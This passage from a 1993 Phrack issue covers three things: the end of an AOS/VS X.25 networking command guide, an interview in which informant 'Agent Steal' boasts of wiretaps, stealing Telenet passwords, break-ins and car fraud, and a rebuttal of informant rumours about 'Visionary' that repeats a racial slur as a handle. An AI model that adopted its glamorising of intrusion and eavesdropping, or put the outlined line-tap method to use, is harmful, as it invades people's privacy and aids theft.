Trying to use UVTA as a sort of RLOGIN by connecting to CLIs will probably not work, since unless the remote CLI has opened a VCON, you will get flooded with "Remote user refused connection" error messages, until you abort UVTA or that CLI does open a console ‑‑ all of this, of course, assuming that user is there in the first place and you won't get a "Process unknown" error message.

Once connected, ^C^V will abort the call and the UVTA process. ^C^T will break from remote mode to the local UVTA prompt.

RCONTROL The control character (not including Ctrl‑C) to break from remote mode to the local prompt. 'A', 'B', 'E', 'Q', 'S' and 'V' are taken by the system and cannot be used.

EXECUTE <prog> Execute the parameter issued as a son process of your UVTA (this will fail if you don't have the privilege to create son processes without blocking the father).

The File Transfer Agent, FTA, is something like the FTP port to X.25. A user using UFTA can connect to a host running SFTA, supply a valid username/password pair, and transfer files from or to the remote host.

A short summary of UFTA commands, in the order they are usually executed:

CALL <host> Connect to the remote host, given as an argument. Once connected, a ^C^A sequence will abort a transfer in the middle.

USER <account> Supply a username to the remote host, or if no argument is given, assume the local username to be identical to the remote one. In any case, a password must be supplied.

SUPERUSER If the user given through USER has Superuser privileges, will turn them for the file transfers (you can now take or put files that you couldn't before, because of the ACLs).

FILES <path> FILES takes one argument, being the directory which contents will be listed. FILES takes most arguments the CLI FILES takes (/ASSORTMENT, /TYPE, etc).

TYPE <file> Display a remote file.

STORE <l> <r> Transfers the local file, 'l', to the remote destination file, 'r'. STORE will fail if the user is not privileged for the action, or if he is trying to transfer an irregular file, such as a network host file. Switches are: /APPEND, to append the file to the destination; /COMPRESS, to compress data for the transfer, and /DELETE, to delete the destination file if it already exists.

File transfer modes are controlled through the /BLOCK and /RECORD switches. /BLOCK, the defaults, means block‑by‑block transfers, and /RECORD means to transfer each record in the file at a time.

RETRIEVE <l> <r> Transfers a remote file, 'r', to the local destination, 'l'. The same restrictions and switches for STORE apply here.

RECOVER <id> RECOVER is the command used for recovering aborted transfers. Both STORE and RETRIEVE have another switch called /RECOVER. When used in conjunction with that switch, the transfer request's working set is kept. Thus, if a transfer was stopped by ^C^A, it can be resumed by RECOVER. Without the "id" argument, RECOVER lists all the transfer IDs (which are actually interrupted transfers) it can recover.

SEND <msg> Will send "msg" to the operator on the remote host. The message is sent to the SFTA on the remote host, and forwarded to the operator from there.

The X25 process controls X.25 connection over the AOS/VS network. It controls accounting, virtual connection handling, links, and so on. X25 commands, operated through the NETOP process (CONTROL @X25):

ACCOUNT Enable or disabling the accounting function of X25. NOACCOUNT

STATUS <vc#> Displays the status of a virtual connection. It displays the remote address, number of packets passed, connection state and the user of the connection.

Note that virtual connection numbers are reported by X25 as octal numbers and are therefore read as such.

CLEAR <vc#> Clears a virtual connection, after informing its local owner of the clear.

CUSTOMERS Displays a list of X25 customers, meaning processes which have connected to and have not yet disconnected from X25, and are therefore known by it.

LSTATUS Displays a status report about a logical link (host). The report gives details about the device status and number of bytes tranfered.

TRACE <file> Starts a trace of an X.25 connection to the file NOTRACE specified as the argument. X25 defaults to trace everything ‑‑ anything coming out of or going into the system, however this can be overridden by using /LINK=link to trace connections to a specific link, /VC=oct# to trace a specific virtual connection, or PID=pid# to trace virtual connections owned by the process given.

NOTRACE stops the trace.

X25 trace files must be displayed through another network utility (not an X25 subcommand), called NTRACE. NTRACE takes as an argument the file in which X25 stores trace info, and displays it in human readable format according to its switches, which are: /DIRECTION=[BOTH|INCOMING |OUTGOING], for packet directions (defaults to BOTH); /LIST=file, for the file to which output goes (defaults to the terminal); RLENGTH=[ALL|#], for the number of bytes from the packets to be displayed (defaults to ALL). The last switch is the packet types to be displayed (default to every packet), and is:

Type Incoming calls Outgoing calls

‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/CALL Incoming call Call request /CONNECT Call connected Call connected /CI Clear Indication Clear request /CCFM Clear ConFirMation Clear confirmation /DATA Data Data /INTERRUPT Interrupt Interrupt /INTCFM Interrupt confirmation Interrupt confirmation /RCVR RR ‑ receive ready RR

/RNR RNR ‑ receive not read RNR

/REJ ‑‑ REJ ‑ reject

/RSTIND Reset INDication Reset request /RSTCFM Reset confirmation Reset confirmation /RRTIND Restart indication Restart request /RRTCFM Restart confirmation Restart confirmation

The 2nd and 3rd columns in the chart specify what the packet means if the local host is being connected to (incoming call) or is trying to reach another host (outgoing).

RESOURCES <pid> Displays any connections owned by <pid>. <pid> can be a process ID, or of the format username:processname.

One of the more interesting programs in XODIAC networking is NETGEN. NETGEN (in :NET:NETGEN) is a program used to configure the network: host addresses, routes, services, and so on. When NETGEN is loaded, it enters interactive mode and enables the user to configure and change network settings from menus. Later, it can be called using its one and only switch, /RECREATE=<path>, to re‑create the network files in :NET according to the specification file given in <path>.

NETGEN's main menu, gives three options (other than terminating). Creating or modifying a specification file, and creating configuration files. The specification file contains in it,

o details pertaining to the local host's configuration on the network: the host ID, host name, domain, etc;

o hardware device configuration: device name, type, code, and miscellaneous details varying from device type to another;

o link configuration: link name, device name/type it uses, and (changing on the type of device), network type, line number, protocols, X.25 packet configuration (size/window size/retries), duplex, and more;

o general network attributes: extended addressing, diagnostics, calling DTE in outgoing calls, etc;

o X.25 configuration: packet/window size negotiation, reverse charging, NUIs, etc;

o virtual calls configuration: permanent virtual calls, VC numbering, etc;

o remote host configuration: X.25 parameters, link to be used, address (decimal/hex), name, host file name, etc;

o network processes configuration: name, ACL, and other details (varies).

Upon loading NETGEN, there are about three menus branching off from every option, so I cannot really mention everything. However, since it's mostly self explanatory, I am putting in here the output from NETGEN's Print Specifications entry, edited to show X.25 links through Telenet and the local configuration, plus TELNETD. By looking at it, one might learn how NETGEN looks/operates, and what details are available.

This file was created using (from the main menu): 2. Access/Update Spec File => 7. Print Configurations => file (instead of @LPT).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

((Actual details changed.))

NETWORK SPECIFICATION PRINT FILE

Specfile: :NET:NETGEN:SPEXBAKZ

Date: 32‑Nov‑93

Time: 4:66:22 PM

LOCAL HOST CONFIGURATION

Local Host Name : PATBBS

ACL : + ORAEW

Host ID : 7

Do you wish to specify an NSAP for this host?: Y

NSAP Address:

Authority and Format Identifier (AFI) (0‑99): 50

Initial Domain Identifier (Local Form): null

Domain Specific Part (max 19 ascii characters): patbbs

DEVICE CONFIGURATION

Device Name: ISC_DCF

Device Type (DCU,MCA,NBS,ISC,PMGR_ASYNC,ILC, ICB,IBC,LLC,SNA,LSC,IDC,LDC,MRC,IRC,LRC,XLC,XSC): ISC

Device code (in octal): 37

Run SDLC or HDLC on this controller: HDLC

LINK CONFIGURATION

Link Name: SPRINTNET Device Name: ISC_DCF

Device Type: ISC

Network Type : TELENET Line # (0‑7) : 0

Protocol Type(LAP,LAPB,SDLC) : LAPB

Local Host Address (2‑15 decimal digits) : 31109090063100

Sequence Numbering Modulus (8,128) : 8

Connect retry count (0‑99) : 20 Transmit retry count (0‑99) : 10

Transmit timeout (‑1,0‑3600) : 3 Enable timeout (‑1,0‑3600) : 30

Frame Window Size (1‑7) : 7 Packet Window Size (1‑7) : 2

Max Packet Size (32,64,128,256,512,1024) : 128

Framing Type (HDLC,BSC) : HDLC HDLC Encoding (NRZ,NRZI) : NRZ

Clocking (EXTERNAL,INTERNAL) : EXTERNAL

FULL or HALF duplex line : FULL

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Virtual Call Numbering ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# PVC'S : 0 # SVC'S : 63 Start SVC # : 1

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Network Attributes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Calling DTE in Outgoing Calls (Y/N): Y Personal Cause Code (Y/N) : N

Long Interrupt Packets (Y/N) : N

Timeout Resets (Y/N) : Y

Timeout Clears (Y/N) : Y Mandatory Diagnostics (Y/N) : N Extended Addressing (Y/N) : Y Extended Clear Packets (Y/N) : Y

X25 Facilities Enabling

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Allow packet size negotiation (Y/N) : Y

Allow window size negotiation (Y/N) : Y

Allow fast select (Y/N) : Y 1. local connections (Y/N) : N 2. routed connections (Y/N) : N

Allow reverse charging outgoing (Y/N): Y

Allow closed user groups (Y/N) : Y

Allow network user ID (Y/N) : Y

Allow throughput class (Y/N) : Y

Allow transit delay (Y/N) : Y

Allow transit delay indication (Y/N) : Y

Allow charging information (Y/N) : Y

Allow RPOA selection (Y/N) : Y

Allow user defined facilities (Y/N) : Y

Allow unknown facilities (Y/N) : Y

Allow extended facilities (Y/N) : Y

Allow facilities to be routed (Y/N) : Y

X25 Facilities Generated?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

1. Packet Size Facility N Minimum: 32 Maximum: 128 2. Window Size Facility N Minimum: 1 Maximum: 2 3. Fast Select Facilities N Type:

4. Reverse Charging N

5. Closed User Groups N Type: None ID: ‑6. Network User ID N ID:

7. Throughput Class N Called: Calling DTE: 8. Transit Delay N Delay: 0

9. Charging Information N Request? N

10. RPOA Selection N # IDs: 0

11. User Defined Facilities N

12. Other Facilities N

REMOTE HOST CONFIGURATION

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

BOOMBOOM

X.25 Host Parameters

Remote Host Filename : BOOMBOOM

Remote Host Name : BOOMBOOM

Remote Host ID : None

Hostfile AOS/VS ACL : + RE

Accepts address extension facilities?: N

Link Name Device Type Network Type Remote Address

1 SPRINTNET ISC TELENET host address in decimal :

31109200010200

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NPN CONFIGURATION

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TELNETD

NPN‑type entry name: TELNETD

NPN: 0023

NPN AOS/VS ACL: + RE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ACRONYMS

~~~~~~~~

ADM Automatic Density Matching

CLASP CLass Assignment And Scheduling Package

CLI Command Line Interpreter

CPL Characters per Line

IPC Inter‑Process Communications

LPP Lines per Page

PID Process ID; PID 2 is the "master CLI"

SMI System Manager Interface

An Interview With Agent Steal

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 16 of 27

****************************************

An Interview With Agent Steal

By Mike Bowen, Agenta Aka Agent 005

Please note that all of the information in this interview is documented in F.B.I. files and can be verified.

________________________________________

MB: Well I guess the first question is the biggest one. Is it true that you are an F.B.I. informant?

AS: Yes.

MB: Why?

AS: First of all I didn't have that much of a choice. If I didn't cooperate with The Bureau, I could have been charged with possession of classified government material. That carries a penalty of over 10 years. There is not a lot of people that I would go to jail that long for. I was able to keep my two closest friends out of trouble. That was part of my deal. It was already too late for Kevin Poulson and Ronald Austin.

MB: Yeah, I think that most hackers would have done the same as you.

AS: Most hackers would have sold out their mother.

laughter

MB: How come you never busted me?

AS: Well I certainly had the opportunity to. You probably remember that I was calling you about a year ago and poking you for information. I just didn't consider you to be a dangerous or malicious hacker.

MB: Thanks, I guess.

AS: Just make your check out to....

laughter

MB: As everyone should know, Kevin Poulson "Dark Dante" was your partner. That was what you referred to in your BBS posts as The Inner Circle 1990. Poulson was featured on TV's' Unsolved mysteries as a wanted fugitive hacker. The United States Attorney called him, "The Hannibal Lecter of computer crime".

AS: I would not compare him to Lecter, I would say he is more of a G. Gordon Liddy.

laughter

MB: Regardless, Kevin is now in jail awaiting trial in San Francisco. He has been there for two years and when he is done, there are more charges awaiting him in Los Angeles. He may spend up to 15 years in prison. How much time do you think that you will do?

AS: The six months I did in Texas while I was negotiating my plea agreement will probably be it.

MB: How many people did you have to bust to get out of that one?

AS: I'm not at liberty to say

MB: I see. So are you still involved with the F.B.I.?

AS: I believe that my cover is pretty much blown at this time so my usefulness is limited. I would say that I'm done. However, I have received several other offers to work with other computer security related organizations. So watch your asses kiddies, it's easy to change my handle!

MB: Why do you think you are getting these offers? You are a convicted felon.

AS: I guess I have an honest face, heh, and the work I did for the bureau was very good. I think I was cut out to be in the investigative business.

MB: Well, you have been working for private investigators for quite some time.

AS: Yes, I handled all of their computer information searches in addition to phone tapping, break ins, phone tap and bug detection.

MB: Was that profitable?

AS: Well, in addition to all of those radio station contests we were winning, I was doing OK. Driving a Porsche and living in Beverly Hills wasn't to bad.

MB: I guess all good things come to an end.

AS: I will always manage some how, I'm a survivor.

MB: There was another partner involved with you. Wasn't his name Ron Austin?

AS: Yes, he got busted too.

MB: How much trouble is he in?

AS: He is going to testify against Poulson also, so he'll probably only get a year or two.

MB: Are you two still friends?

AS: Very much so. He understood the situation I was in. I still talk to him frequently.

MB: What is he up to these days?

AS: He told me he was going to find a cause and become the first computer hacker turned international terrorist.

laughter

MB: I wouldn't want to be his enemy! Speaking of enemies, what do you think Poulson will do to all the people who testified against him when he gets out?

AS: Well he is going to be busy. Everyone who he has ever known has turned against him.

MB: Well if he wasn't such a sneaky jerk maybe someone would like him.

AS: He brought it on himself.

MB: Do you expect any retaliation from the hacker community?

AS: There will probably be a few narrow minds out there. However, I have been very careful to conceal my true identity. People may know my real name if they read the papers, but that won't get them far. I find people for a living, I don't think it will be hard to use what I know to keep a low profile. Besides, what is a hacker going to do, turn off my phone? Regardless, If some one fucks with me, I'll just have to fuck back. I have a lot of friends and resources now.

MB: What was it like working with the F.B.I.?

AS: Very interesting and educational. I have learned a lot about how the bureau works. Probably too much. Obviously I can't say very much. However, I can say that my involvement was extensive. There was a lot of money and resources used. In addition, they paid me well.

MB: Would you say it was fun?

AS: Most of the time. They actually flew me to Summer Con in St. Louis. I would say the bureau had that conference pretty well covered. Erik Bloodaxe was there too. It was pretty funny. I think we both knew that each other was working for the bureau. One of the agents I worked with let it slip out. We were sitting across from each other at the conference, kind of smirking at each other. And the balls Erik had! He video taped the whole thing! It was classic.

MB: What was the F.B.I. trying to accomplish?

AS: I believe they were trying to send a message that high level computer hacking is something that is very serious. In Poulson's' case as you are aware, we got into some really heavy shit. So heavy in fact that I had to sign an agreement that I would never disclose any of the top secret information that I had seen.

MB: That's pretty wild. The article about Poulson, Austin and you in The Los Angeles Times Sunday Magazine was really interesting. For those who want to read it the date was September 12, 1993.

AS: I was amazed how deep that reporter was able to go. He really hit the nail on the head. Personally I think he wrote too much. He wrote that we were able to get a list of every federal wire tap in California!

MB: Really?

laughter

AS: Like I said, I can neither confirm or deny that statement. There is still a lot of information regarding our activities that has not been published. Between the three of us, we were into a bunch of shit. One of these days, it will all be out.

MB: The reporter also said you would take control of phone lines with a telephone company computer. Then you would seize radio station lines and win contests.

AS: Now that we can talk about. We won tens of thousands of dollars, trips to Hawaii and a few Porsches. The government took both of my Porsches away from me.

MB: I didn't realize that you had two.

AS: Yeah, a friend of mine was selling his. So I had him report it stolen and collect the insurance. I gave him a $1000 and it was mine. I loved that car.

MB: I see that was the interstate transportation of a stolen automobile charge that was filed in Texas?

AS: Yeah , I changed the VIN numbers and everything. It was really clean. However, when I got raided they went over everything with a fine tooth comb. There were so many agencies involved. The F.B.I., The Secret Service , SW Bell Security, Pacific Bell Security, Dallas Sheriff, L.A.P.D. Computer Crime Unit, The United States Postal Inspector, Telenet and Tymnet Security and eventually The Department of Motor Vehicles Security Unit. What a mess, everyone wanted a piece of the action. But you know who always gets their man.

MB: The Bureau.

AS: Yep, pissed a few people off too.

MB: Where did you get the name Agent Steal?

AS: About ten years ago, I was under investigation by The Secret Service for computer hacking. The case agent was Special Agent Steele. That is when I became a fugitive. I left town, dropped contact with my friends, and changed my name. I moved to California.

MB: What are some of your favorite hacks?

AS: Probably the Telenet tap I put up.

MB: You mean the private dial up tap that you had told me about?

AS: Yeah, I placed the order in COSMOS for a bridge lifter on the first line in hunt of my local Telenet dial up and a 1FR to appear in an office building a half mile from the LA Telenet dial up.

MB: That was great. That device you built was cool. All you had to do was dial up the number, connect with your modem and you could sit there and watch people type in their passwords all day long.

AS: I must have snagged over 500 accounts on that thing.

MB: That's where you got your DMV account wasn't it?

AS: Yes. I made a small fortune reselling the information to P.I.s'

MB: What was it you told me about tapping Heidi Fliess?

AS: Yeah. I tapped the phone of one of her working girls. It was for this rich guy who would hire hookers and then get involved with them. He loved hookers. He used to keep tabs on this one.

MB: What were the conversations like.

AS: I rarely would listen to the tapes I made. I have a life, thank you. Besides, I have found that about 99.9% of all phone conversations are really boring.

MB: Have you listened to many?

AS: Thousands, from cellular to cordless to inter office T‑carrier lines to long distance microwave. I guess I am a phone tap expert. Poulson and I would break into C.O.s on a regular basis. We had our own keys and I.D. badges. We came and went as we pleased. I would sometimes play around with the long distance trunks. That was always interesting. With a T‑carrier test set you could scan through all of the channels and hear dozens of phone calls with the flick of a switch.

MB: What is the most powerful computer that you had access to.

AS: Good question. There really isn't one computer system out there that is "all" powerful, with the exception of maybe some defense computers. I made a point of staying away from those. However, if I had to pick just one computer to have access to I would say it was XXXXXXX. That was the Pacific Bell system that allowed us to drop in and monitor and control phone lines from home with the use of a computer system. Second would have to be DMV or COSMOS. Yes COSMOS. I thought that being able to place my own orders was important, not to mention more reliable than the business office.

MB: Cheaper too.

laughter

AS: I wish I had all the money I have saved on phone bills!

MB: Those days are gone.

AS: At least the days of doing that safely. People tend to get pessimistic about hacking. I have heard some say that the good old days of boxing and such are gone. I disagree, we just have to adapt. As sure as technology advances so will hacking. There will always be new "hacks". It's up to the real hackers to find them. Learn from the past and move on or get busted and quit.

MB: What is up with Kevin Mitnick?

AS: I had never met him before I was busted. When I went to work for the bureau I contacted him. He was still up to his old tricks so we opened a case on him and Roscoe. It's a long story but they wound up getting busted again. Mitnick got tipped off right before they were going to pick him up. So he's on the run again. Roscoe wasn't so lucky. This will be Mitnick's fifth time to get busted. What a loser. Everyone thinks he is some great hacker. I out smarted him and busted him. Poulson blows him away as well.

MB: Do you feel bad about working undercover to arrest hackers?

AS: Not really. We all know the risks. For me it was just a job. And an interesting one at that. I wasn't out there just busting anyone. We were looking for the hard core malicious hackers. I passed up a lot of people in the course of the investigation. They should know who they are by now. The ones that got taken down deserved it. It will all be in the papers some day.

MB: Did you deserve what you got.

AS: Yeah, I was getting pretty carried away there for a while. I invaded a lot of peoples privacy. Phones taps, credit reports, breaking into Pacific Bell offices etc.

MB: Didn't you break into PacBells' security department?

AS: Yes, Poulson and I broke into the high rise downtown. We wanted to find out how far their investigation of us had gone.

MB: Did you find what you wanted?

AS: Yeah, DNR print outs, notes and photos! We also found a lot of information regarding other investigations and how they do wire taps.

MB: Very dangerous in the wrong hands.

AS: We are the wrong hands.

laughter

MB: Oh yeah. How did you get caught?

AS: Well as you know I moved to Texas after that high speed chase with the L.A.P.D. undercover units. I found out that I was under surveillance and had to make a run for it!

MB: Was that pretty close?

AS: In a Porsche on a canyon road? Not until the helicopter appeared!

MB: How did you get away?

AS: I parked the car in a garage after losing them then hid under another car for three hours. They eventually gave up looking. I called a cab with my cellular phone and left the area. Getting back to getting caught. I believe it was from an elaborate multi‑company phone trace. I didn't think that they would go through all the trouble to try and trace my calls though several carriers. But I guess they did. The Pacific Bell people were very hot for me. They must have pulled everyone together.

MB: This sounds like a book or a made for TV movie.

Visionary - The Story About Him

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 17 of 27

****************************************

[Editor's commentary:

What you are about to read is a file that everyone's friend Pat (Visionary / Traxxter) had written some time ago and is currently being spreading around the net. Bear in mind that this file is exactly as he wrote it. (IE: no spell‑checking or other editing has been done.)

I want to add something from my own personal experience with Traxxter. At Comsec one evening, we received a phone call from Pat. Scott and I took the call and listened to Pat for nearly an hour. During this call Pat continually over‑stressed the point about how much he hated being called a narc. He said "I know you guys understand about turning people in, now that you are doing Comsec." In his thinking that by our new charter as security consultants we were suddenly policemen as well, he went into a big spiel about his involvement with security officers at long distance carriers and how he regularly provided information to them.

Now, you may feel that whatever transgressed between Pat and the locals causing him and his family so many problems

may or may not warrant the action that was taken by them.

I personally follow a simple rule regarding such things:

If you mess with me at home it's just a pissing match and I'll insult you back night and day, but if you try to come between me and my livelihood or my ability to work or put food on my table I'm gonna put you in jail. Obviously I'm not the only one who feels that way.

In all honesty, I could care less about this, but since Pat submitted this file to Phrack, I am going to give it fair treatment and publish it for him.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Visionary The Story About Him.

This file is beeing published due to the wide spread rumors about a hacker known as The Visionary. The reason behind the distribution of the file is to clear up a lot of misconseptionspeople have about this individual. Those reading it are asked to keep an open mind. Encluded in the file will be buffers from people who know The Visionary. After reading it there is hope the rumors come to an end.

There have been a number of stories that people have brought up in relation to The Visionary. So you will hear the truth in relation to each story. Many have been spreading rumors without getting the facts first, so therefore a lot of stories going around were either overdramatised or without foundation.

The first thing that originally started the rumor was an event which happened in the mid 1980s. The Visionary had been modeming for just over a year back then. He as well as several other people had become associated with some other local hackers. The local hackers in question were, Oedipus Rex who ran a board known as The Apple Tree in 305. The other two were known as Unknown Soldier of LOD and a guy known as The Technician. There were a couple others involved with them but the identity is not known. Anyway they became angery at the other hackers I knew and started unnecessary problems. Unknown Soldier giving out the number to his other friends in order to harass a kid known as The Insider. Every time Insider had his number changed to a nonpublished one, Unknown Soldier loged into Cosmosand using his knowledge obtained the new number At the same time Oedipus Rex along with his friends were pulling other serious things on me as well as the local people I knew. 1. He would harass me and my parentsall times of the night. On two ocations he was seen driving in my neighborhood on the same night someone shot my front windows out. It was shown the Unknown had logged on TRW and obtained the credit history belonging to my pa parents as well as otherpeople's parents. On one ocation Oedipus Rex with a few others had convinced a few of my friends to meet them at a remote location after a hacker meeting. When this happened OedipusRex sprayed the people with a substance known as mace. This amoung other things like, property damage, credit information being changed and other acts of anarchy were performed against us. I The Visionary don't know why they started on me as well when I did nothing to diserve this. Things come to ahead when The Unknown Soldier bragged to one of us that he could get confidential information on their parents. The kid he was bragging to went to his parents because there was already problems. His father got the local Bell operating company involved and things progressed from there. Inside five months Unknown Soldier was busted and charged with illegal entry into Suthern Bell's computer and CBI credit bureau. He had to pay $1,500 to both Bell and CBI indamages. It's not known how much the state fined him. It was shown that The Visionary's parents credit history was effected in a negative way by this guy. After the bust the local authorities spoke to The Visionary in regards to this guy. Now any hacker out therewith any common sense can understand why Visionary did not hold back when asked about these guys. As any hacker knows nobody should use their knowledge against someone else. Especially if they are going to use the parents as the target. Visionary was more than in his rights to do what he did. And due to the fact this story was told without the entire facts known it has been twisted into a gross rumor.

For about two years after that Visionary dropped out of the seen due to person reasons. In late 1987 he returned back in the seen as The Traxster. At there were no rumors until Lex Luthor of The Legion of Doom found out about him. Than the rumors started again. "I don't know why people brought up the event which happened years ago when it was long and forgoten," is one thing The Visionary said. From 1987 throughout 1988 a lot of people always spoke of Visionary back than known as The Traxster.

In the last four years certain things have been brought to light regarding Visionary. These events were generally recordings of Visionary either admitting to being a narc, or one was of him talking to a suposed MCI Security agent.

When you read the following accounts, remember logic will play a big part in not onlyunderstanding the truth behind them, but you will find out that Visionary's side is a lot more credible than of the rumors.

The following is Visionary's own account in relation to the MCI tape that a lot heard but don't know the facts behind. "It was during the early of sumer of 1988 when I had an interesting incounter with a hacker posing as an MCI Security agent. I didn't know it at the time but someone was oviously playing a large trick on me as it was recorded either by the hacker or a person on his threeway. Those reading this keep in mind I am going from memory and I may not be able to recall every small detail. I will say this much, I have the tape of the event that I obtained and anyone who listens to it will know that is no MCI agent I am talking to. I had one ocation where I was due to meet someone on a loop. Which loop and who I was supose to meet I don't recall. Anyways I had been on a loop waiting for another hacker. After a minute a guy comes on the loop. Upon asking his handle he said he was from MCI Security. At first I laughed and asked who he was kidding. I mean people MCI isn't going to call a loop and identify themselves as such. Well I decided after he insisted very sincerely he was MCI, I decided to play along. I made up the story that I was someone that delt with telco security and wouldn't mind talking to him. We started talking about things like ANI and different services. Keep keep in mind I know he wasn't MCI at all. The conversation lasted around thirty to fourty‑five minutes. I am able to give some idea of time beings I have the tape and have listened to it.

After the event I forgot about the entire thing. It wasn't until a few months later when I heard about the recording with me talking to MCI. At first I was extremely puzzeled by this news. Than I heard samples of the recording and instantly knew what it was about.

Now when listening to the tape you will find a couple things very strange about it. When people told me about it, I was told that someone had remobed my line, someone had used LMOS and other outlandish things. When listening to the tape the first thing that is ovious is the suposed MCI guy I am talking to is much louder than me. I mean you can hear him booming compared to my side of the conversation. The second thing is you hear music in the background. The last fact mentioned is not important but could be if you listen to it.

This tape caused a lot of people to have second thoughts of associating with me. When one hears it, usually it sounds pretty real if you make a quick judgement. People such as Phiber Optic, Zod of MOD and even a local friend of mine who knew me for a long while were convinced by it. I feel that either someone had either played a bad trick on me, or it was a situation where two people happened to find me and I become an unfortunate victom. At the time the rumors had pretty much stopped and if the tape hadn't come about I suspect things would have blown over.

The second event involving me on tape, was with me and Doc Haliday. It was in the fall of 1990, during the time of the 404 bridge. The rumor about me had still been going on due to the MCI tape. One of the hackers that happened to call the bridge was Doc Haliday. Doc Haliday is a somewhat wellknown hacker who associates with people in the Texas area. He was known to frequent a HP board known as Unholy Temple, and he has also written for Phrack. One particular ocation, Visionary was on the 404 bridge he met Doc Haliday. Doc Haliday called him shortly after they met on the bridge. The first conversation was about the rumors he heard about Visionary and his thoughts on them. Haliday than related to Visionary that he didn't aprove of a lot of hacker activity now a day. He said in so many words the stuff hackers seemed to do was extremely wrong. This statement didn't hit Visionary quite right, due to the fact Doc Haliday had been into hacking a long time. Doc Haliday's next statement made Visionary feel there was more to him than met the eye. "I don't aprove of those who use access devices," stated Doc Haliday to Visionary. Now anyone reading this may know it, but the term access devices or access codes is the legal term the authorities use in court cases. When Visionary heard this, the first signs of dout about Doc Haliday began. "When he used the term access devices, an allarm bell went off in my head," was Visionary's words. The next day, again him and Doc Haliday had another conversation. This is when Visionary had his douts confirmed. Haliday started out by informing The Visionary of an investigation on the 404 bridge. He said a friend of his from The Secret Service had warned him, due to an inpending bust of a number of people. This news shocked Visionary like a slap in the face, and things started getting stranger. Doc Haliday explained there was a lot of monitoring of the bridge, as well as a pending investigation on Super Niggar. At this point Vision made a decision to play his Trump card. Slowly Visionary was able to get Haliday to admit that he did next to nothing illegal any more. When asked Haliday gave an impression he was not against informents but was open to it himself. This is when Visionary began to lead Haliday to the belief that he was an informent. Haliday bought the bate hook line and sinker. He told Visionary all about the dealings with Secret Service in the past, and how he had made six federal cases for them thus far. Visionary made up a story to the effect of him beeing involved in simular activities. The entire thing on Visionary's part was to confirm his own douts regarding Haliday. However one thing happened which screwed up Visionary. Doc Haliday had been recording the entire conversation. After he hung up from Visionary, he proceded to play it to everybody. His reason for saying what he said was to bolshit Visionary into admitting to narcing.

All of y The people that heard the tape were not able to hear the entire thing. Haliday only played segments and made himself the big social enginer. Some of you out there may ask, who should believe? Well look at it this way. if you hear the tape or hear Haliday's side it sounds like he is bolshitting Visionary. However again like the other time to many things don't tigh together. First off Visionary, if he was an informent would not admit to anybody as such. It may seem to some that a confidents was built but Visionary would not be that stupid. Remember people he has a lot of rumors go around about him. A couple other things come into play here. Doc Haliday was a very smart and carful individual. He didn't associate with any of the normal crouds, nor did he even associate with most better hackers. So, ask yourself, why did he go to such length to expose what he thought was a narc? Visionary didn't even talk to anyone Haliday knew nore did Visionary pose a threat to Haliday. A major thing all of you will remember, is Doc Haliday is part of the security firm known as Comceck in Texas. This is not mean much on one hand, but Haliday is involved with computer security. Visionary was bolshitting Haliday and when looking at the situation the truth speaks for itself. Any of the higher up hackers don't concern themselves with such matters of a narc. They don't give two shits about lamers, yet Haliday tried to convince all of them with his tape.

Thus far you have read the main three reasons Visionary has had the constant rumor which persists about him. Now we will cover some of the little reasons that, may not deal with tape recordings, can be misunderstood as fact. One must take into consideration that Visionary had to put up with a lot of shit due to the rumors, and he had to do some interesting stuff to get by. One thing he did, was to let certain hackers think he was a narc. All of you out there will ask why would he do this? Well it's simple. Visionary ran acrossed some people that it was to his advantage to let them believe anything. One case with the members of a group known as MOD. MOD was known by many to harass a lot of people. They had heard about Visionary, and believed that to harass someone in his line of work would be the death of them. Anotherwords, if you are a neighborhood vandle, your less likely to bother an authority figure. To them Visionary was an authority figure.

That was not the only ocation Visionary had let people believe he was an informent of some kind. Visionary found it was easier in some instances if certain people were set on believing the rumors, that they were better off deceived in that way. Certain people, Visionary found would trust him more if they thought he worked for a certain ld service. One particular instance, involved a local friend of Visionary's. The kid, had heard a lot of rumors. Visionary had got him started in the shit, but what convinced the kid was the famous MCI tape. Visionary, finally told the kid he worked for MCI, and no government agency. When the kid in question heard this he was able to talk to Visionary easier. The logic here, is the kid didn't know what Visionary did. If he did work for the FBI or Secret Service, he felt in danger by that. But As the local kid didn't use MCI it made him trust Visionary. See people there was the same reason Visionary told several people that. People, like that kid as well as others didn't care what Visionary did. Also Visionary at times would bolshit someone into thinking he was a government narc to get a reaction. "You would be suprised as to the number of people who actually wanted to narc," was Visionary's statement.

